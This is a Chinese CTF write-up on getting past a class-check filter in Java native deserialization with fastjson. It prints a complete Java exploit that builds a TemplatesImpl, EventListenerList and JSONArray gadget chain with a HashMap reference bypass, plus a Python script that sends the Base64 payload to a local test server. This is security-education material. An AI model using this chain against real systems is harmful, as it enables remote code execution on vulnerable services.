前言
考察原生fastjson链的引用绕过和toString链
分析
有fastjson83的依赖,很可能要用toString触发。
看一下题目的几个主要类,首先是DemoController:
反序列化的点很明显,主要是怎么绕。需要满足是User的子类,并且不能有BadAVE。
那可以由EventListenerList—>JSONArray.toString–>getter
再看User:
这里有一个Map类,那就考虑从HashMap.readObject开始的反序列化。
这里结合EXP的注释理解吧:主要理解为什么可以通过hashmap绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100
   | import com.alibaba.fastjson.JSONArray; import com.example.demo.User; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  import javax.management.BadAttributeValueExpException; import javax.swing.event.EventListenerList; import javax.swing.undo.UndoManager; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.*;
  public class EXP {     public static void main(String[] args) throws Exception {         byte[] code = Files.readAllBytes(Paths.get("D:\\tmp\\classes\\CalcAbs.class"));         byte[][] codes = {code};         TemplatesImpl templates = new TemplatesImpl();         setFieldValue(templates, "_class", null);         setFieldValue(templates, "_name", "useless");         setFieldValue(templates, "_tfactory",  new TransformerFactoryImpl());         setFieldValue(templates, "_bytecodes", codes);
 
 
          JSONArray jsonArray = new JSONArray();         jsonArray.add(templates);
          EventListenerList elist = new EventListenerList();         UndoManager manager = new UndoManager();         Vector vector = (Vector) getFieldValue(manager, "edits");         vector.add(jsonArray);         setFieldValue(elist, "listenerList", new Object[] { Map.class, manager });
                                     HashMap<Object, Object> hashMap = new HashMap<>();         hashMap.put(templates, elist);
          User user = new User();         user.setInfo(hashMap);
          byte[] serilize = serilize(user);
          String s = Base64.getEncoder().encodeToString(serilize);         new FileOutputStream(new File("D:\\tmp\\payload.txt")).write(s.getBytes());
 
      }
      static Object deserialize(String data) throws Exception {         return new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(data))) {              boolean check = false;
              @Override              protected Class resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {                 Class targetc = super.resolveClass(desc);                 if (!this.check && !User.class.isAssignableFrom(targetc)) {                     throw new IllegalArgumentException("HackerClass:" + targetc);                 } else if (BadAttributeValueExpException.class.isAssignableFrom(targetc)) {                     throw new IllegalArgumentException("HackerClass:" + targetc);                 } else {                     this.check = true;                     return targetc;                 }             }         }.readObject();     }
      public static byte[] serilize(Object obj) throws IOException {         ByteArrayOutputStream baos = new ByteArrayOutputStream();         ObjectOutputStream oos = new ObjectOutputStream(baos);         oos.writeObject(obj);         oos.close();         return baos.toByteArray();     }
      public static void setFieldValue(Object obj, String fieldName, Object value) throws IllegalAccessException, NoSuchFieldException {         Field declaredField = obj.getClass().getDeclaredField(fieldName);         declaredField.setAccessible(true);         declaredField.set(obj, value);     }
      public static Object getFieldValue(Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException {         Class<?> aClass = obj.getClass();         Field field =null;         while (aClass != null) {             try {                 field = aClass.getDeclaredField(fieldName);                 field.setAccessible(true);                 return field.get(obj);             } catch (NoSuchFieldException e) {                 aClass = aClass.getSuperclass();             }         }         return null;     } }
   | 
 
python脚本:当时POST的数据格式还调了好久
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
   | import base64
  import requests from urllib.parse import quote
  if __name__ == '__main__':
      with open("D://tmp//payload.txt", "r") as f:                  payload = f.read()         
      url = "http://127.0.0.1:8004/api"
 
      json = {         "map": {             "data": f"{payload}"         },         "a": "a"     }
 
      headers = {         "Content-Type": "application/json"     }
      res = requests.post(url, json=json, headers=headers)     print(res.text)     
   | 
 
总结
这里主要学高版本fastjson原生反序列化引用绕过的原理,toString链的话除了上面用到的EventListenerList,还有TextAndMnemonicHashMap等
参考
文章 - 高版本Fastjson反序列化Xtring新链和EventListenerList绕过 - 先知社区
2024Ciscn总决赛Web Writeup - F12~ - 博客园